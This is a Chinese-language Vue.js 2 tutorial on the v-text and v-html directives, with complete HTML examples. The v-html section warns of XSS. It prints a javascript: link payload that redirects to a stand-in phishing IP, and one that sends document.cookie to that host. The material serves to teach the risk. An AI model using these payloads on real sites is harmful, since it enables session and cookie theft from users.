1.v-text
v-text指令的基本功能是向其所在的標簽中插入文本內容，需要注意的是，v-text會替換掉整個div的內容，實際開發中用的不多，
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>vue測試</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
</head>
<body>
<div id="root">
<!-- 插值語法 -->
<div>你好，{{name}}</div>
<!-- v-text -->
<div v-text="name">你好</div>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data:{
name:"張三"
},
})
</script>
</body>
</html>
效果如下：
2.v-html
v-html指令可以解析html ,比如下面這樣
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>vue測試</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
</head>
<body>
<div id="root">
<!-- 插值語法 -->
<div>你好，{{name}}</div>
<!-- v-text -->
<div v-text="name">你好</div>
<div v-html="str"></div>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data:{
name:"張三",
str:"<h3>你好，123</h3>"
},
})
</script>
</body>
</html>
但是這個v-html使用有風險，比如下面這個xss漏洞。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>vue測試</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
</head>
<body>
<div id="root">
<!-- 插值語法 -->
<div>你好，{{name}}</div>
<!-- v-text -->
<div v-text="name">你好</div>
<div v-html="str"></div>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data:{
name:"張三",
str:"<a href=javascript:alert(1)> 執行了！</a>"
},
})
</script>
</body>
</html>
如果你覺得這個好像沒有什么大問題，不就是一個alert嗎，那么給大家簡單演示一下一些釣魚網站的是如何工作的。
我們創建了一個釣魚網站，域名假設是 http://123.123.123.123。 我們把上面的代碼改成：
str:"<a href=javascript:location.href="http://123.123.123.123"> 點我</a>"
這種方式在你不經意間就訪問了攜帶有木馬的網站。
還有更厲害的，可以通過這種方式直接獲取到當前用戶的cookie
str2:'<a href=javascript:location.href="http://123.123.123.123?"+document.cookie> 點我</a>'
這種寫法相當于把你電腦里的cookie當成字符串傳遞出去，非常危險。
所以v-html用的并不多。